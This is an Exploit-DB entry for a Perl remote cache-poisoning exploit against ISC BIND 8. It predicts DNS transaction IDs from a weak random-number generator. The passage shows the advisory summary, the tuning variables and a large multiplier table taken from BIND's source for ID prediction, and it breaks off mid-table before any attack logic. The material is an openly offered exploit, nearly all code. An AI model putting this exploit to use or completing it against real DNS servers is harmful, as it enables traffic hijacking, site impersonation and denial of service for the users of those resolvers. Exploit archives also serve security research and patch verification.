Exploit-DB #30535
Description: ISC BIND 8 - Remote Cache Poisoning (1)
Type: remote
Platform: linux
Date: 2007-08-27
Author: Amit Klein

Exploit:
#source: https://www.securityfocus.com/bid/25459/info
#
#BIND 8 is prone to a remote cache-poisoning vulnerability because of weaknesses in its random-number generator.
#
#An attacker may leverage this issue to manipulate cache data, potentially facilitating man-in-the-middle, site-impersonation, or denial-of-service attacks.
#
#Versions of BIND from 8.2.0 through to 8.4.7 are vulnerable to this issue. 
#

# Window of guessing 
# (linear impact on runtime, but also improves success rate)
$WINDOW_SIZE=500;

# How many predictions will be generated per (a,z) candidate
# (actually twice that number)
$PREDICT_SIZE=500; 

use Time::HiRes qw(gettimeofday);

# This table is copied as is from the BIND 8.4.7 source code
# (file ./src/bin/named/ns_main.c)
my @nsid_multiplier_table = (
	17565, 25013, 11733, 19877, 23989, 23997, 24997, 25421,
	26781, 27413, 35901, 35917, 35973, 36229, 38317, 38437,
	39941, 40493, 41853, 46317, 50581, 51429, 53453, 53805,
	11317, 11789, 12045, 12413, 14277, 14821, 14917, 18989,
	19821, 23005, 23533, 23573, 23693, 27549, 27709, 28461,
	29365, 35605, 37693, 37757, 38309, 41285, 45261, 47061,
	47269, 48133, 48597, 50277, 50717, 50757, 50805, 51341,
	51413, 51581, 51597, 53445, 11493, 14229, 20365, 20653,
	23485, 25541, 27429, 29421, 30173, 35445, 35653, 36789,
	36797, 37109, 37157, 37669, 38661, 39773, 40397, 41837,
	41877, 45293, 47277, 47845, 49853, 51085, 51349, 54085,
	56933,  8877,  8973,  9885, 11365, 11813, 13581, 13589,
	13613, 14109, 14317, 15765, 15789, 16925, 17069, 17205,
	17621, 17941, 19077, 19381, 20245, 22845, 23733, 24869,
	25453, 27213, 28381, 28965, 29245, 29997, 30733, 30901,
	34877, 35485, 35613, 36133, 36661, 36917, 38597, 40285,
	40693, 41413, 41541, 41637, 42053, 42349, 45245, 45469,
	46493, 48205, 48613, 50861, 51861, 52877, 53933, 54397,
	55669, 56453, 56965, 58021,  7757,  7781,  8333,  9661,
	12229, 14373, 14453, 17549, 18141, 19085, 20773, 23701,
	24205, 24333, 25261, 25317, 27181, 30117, 30477, 34757,
	34885, 35565, 35885, 36541, 37957, 39733, 39813, 41157,
	41893, 42317, 46621, 48117, 48181, 49525, 55261, 55389,
	56845,  7045,  7749,  7965,  8469,  9133,  9549,  9789,
	10173, 11181, 11285, 12253, 13453, 13533, 13757, 14477,
	15053, 16901, 17213, 17269, 17525, 17629, 18605, 19013,
	19829, 19933, 20069, 20093, 23261, 23333, 24949, 25309,
	27613, 28453, 28709, 29301, 29541, 34165, 34413, 37301,
	37773, 38045, 38405, 41077, 41781, 41925, 42717, 44437,
	44525, 44613, 45933, 45941, 47077, 50077, 50893, 52117,
	 5293, 55069, 55989, 58125, 59205,  6869, 14685, 15453,
	16821, 17045, 17613, 18437, 21029, 22773, 22909, 25445,
	25757, 26541, 30709, 30909, 31093, 31149, 37069, 37725,
	37925, 38949, 39637, 39701, 40765, 40861, 42965, 44813,
	45077, 45733, 47045, 50093, 52861, 52957, 54181, 56325,
	56365, 56381, 56877, 57013,  5741, 58101, 58669,  8613,
	10045, 10261, 10653, 10733, 11461, 12261, 14069, 15877,
	17757, 21165, 23885, 24701, 26429, 26645, 27925, 28765,
	29197, 30189, 31293, 39781, 39909, 40365, 41229, 41453,
	41653, 42165, 42365, 47421, 48029, 48085, 52773,  5573,
	57037, 57637, 58341, 58357, 58901,  6357,  7789,  9093,
	10125, 10709, 10765, 11957, 12469, 13437, 13509, 14773,
	15437, 15773, 17813, 18829, 19565, 20237, 23461, 23685,
	23725, 23941, 24877, 25461, 26405, 29509, 30285, 35181,
	37229, 37893, 38565, 40293, 44189, 44581, 45701, 47381,
	47589, 48557,  4941, 51069,  5165, 52797, 53149,  5341,
	56301, 56765, 58581, 59493, 59677,  6085,  6349,  8293,
	 8501,  8517, 11597, 11709, 12589, 12693, 13517, 14909,
	17397, 18085, 21101, 21269, 22717, 25237, 25661, 29189,
	30101, 31397, 33933, 34213, 34661, 35533, 36493, 37309,
	40037,  4189, 42909, 44309, 44357, 44389,  4541, 45461,
	46445, 48237, 54149, 55301, 55853, 56621, 56717, 56901,
	 5813, 58437, 12493, 15365, 15989, 17829, 18229, 19341,
	21013, 21357, 22925, 24885, 26053, 27581, 28221, 28485,
	30605, 30613, 30789, 35437, 36285, 37189,  3941, 41797,
	 4269, 42901, 43293, 44645, 45221, 46893,  4893, 50301,
	50325,  5189, 52109, 53517, 54053, 54485,  5525, 55949,
	56973, 59069, 59421, 60733, 61253,  6421,  6701,  6709,
	 7101,  8669, 15797, 19221, 19837, 20133, 20957, 21293,
	21461, 22461, 29085, 29861, 30869, 34973, 36469, 37565,
	38125, 38829, 39469, 40061, 40117, 44093, 47429, 48341,
	50597, 51757,  5541, 57629, 58405, 59621, 59693, 59701,
	61837,  7061, 10421, 11949, 15405, 20861, 25397, 25509,
	25893, 26037, 28629, 28869, 29605, 30213, 34205, 35637,
	36365, 37285,  3773, 39117,  4021, 41061, 42653, 44509,
	 4461, 44829,  4725,  5125, 52269, 56469, 59085,  5917,
	60973,  8349, 17725, 18637, 19773, 20293, 21453, 22533,
	24285, 26333, 26997, 31501, 34541, 34805, 37509, 38477,
	41333, 44125, 46285, 46997, 47637, 48173,  4925, 50253,
	50381, 50917, 51205, 51325, 52165, 52229,  5253,  5269,
	53509, 56253, 56341,  5821, 58373, 60301, 61653, 61973,
	62373,  8397, 11981, 14341, 14509, 15077, 22261, 22429,
	24261, 28165, 28685, 30661, 34021, 34445, 39149,  3917,
	43013, 43317, 44053, 44101,  4533, 49541, 49981,  5277,
	54477, 56357, 57261, 57765, 58573, 59061, 60197, 61197,
	62189,  7725,  8477,  9565, 10229, 11437, 14613, 14709,
	16813, 20029, 20677, 31445,  3165, 31957,  3229, 33541,
	36645,  3805, 38973,  3965,  4029, 44293, 44557, 46245,
	48917,  4909, 51749, 53709, 55733, 56445,  5925,  6093,
	61053, 62637,  8661,  9109, 10821, 11389, 13813, 14325,
	15501, 16149, 18845, 22669, 26437, 29869, 31837, 33709,
	33973, 34173,  3677,  3877,  3981, 39885, 42117,  4421,
	44221, 44245, 44693, 46157, 47309,  5005, 51461, 52037,
	55333, 55693, 56277, 58949,  6205, 62141, 62469,  6293,
	10101, 12509, 14029, 17997, 20469, 21149, 25221, 27109,
	 2773,  2877, 29405, 31493, 31645,  4077, 42005, 42077,
	42469, 42501, 44013, 48653, 49349,  4997, 50101, 55405,
	56957, 58037, 59429, 60749, 61797, 62381, 62837,  6605,
	10541, 23981, 24533,  2701, 27333, 27341, 31197, 33805,
	 3621, 37381,  3749,  3829, 3